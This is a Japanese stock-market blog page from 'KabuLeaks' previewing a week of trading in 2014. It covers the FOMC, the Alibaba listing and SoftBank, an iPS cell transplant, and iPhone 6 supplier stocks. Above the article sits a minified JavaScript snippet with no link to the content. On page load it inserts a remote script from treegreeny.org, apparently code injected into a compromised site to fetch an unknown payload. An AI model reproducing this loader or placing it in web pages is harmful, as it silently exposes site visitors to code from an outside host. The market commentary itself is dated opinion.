;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 来週の相場で注目すべきポイント|【KabuLeaks 〜株リークス〜】
仕手株

来週の相場で注目すべきポイント

まず来週は米連邦公開市場委員会(FOMC)を控えていること。ドル・円は荒れ模様となる可能性が考えられる。ドル高・円安が進んできただけに結果次第で調整が入っても不思議はない。ただ米景気の回復期待は根強く、ドルが下がったところで押し目買い意欲も強いことから底固さが確認されそうだ。

週末にはアリババ・グループ・ホールディングが米国市場に上場すると予想されている。仮条件引き上げへの思惑などから、引き続き【9984】ソフトバンクに資金が集中しやすい。年金積立金管理運用独立行政法人(GPIF)改革への思惑も下支えとして意識されるほか、企業の収益性を測る高ROE銘柄への関心も強まる傾向と考える。

国内に眼を向ければ理化学研究所と先端医療振興財団は12日、世界で初めてiPS細胞を使った患者への移植を実施した。手術は無事終了しており、iPSなど再生医療関連への関心を集めるだろう。他にも18日から東京ゲームショウ2014が幕張メッセで開催されることによりゲーム関連への見直し、米アップルの新型スマートフォン「iPhone 6」の初回出荷が品切れとなった事で【6981】村田製作所や【6988】日東電工といったハイテク株への資金流入も意識されやすいだろう。

他にもスコットランド独立の是非を問う住民投票や、スイス中銀の金融政策発表等、相場に影響を及ぼすイベントは目白押しだ。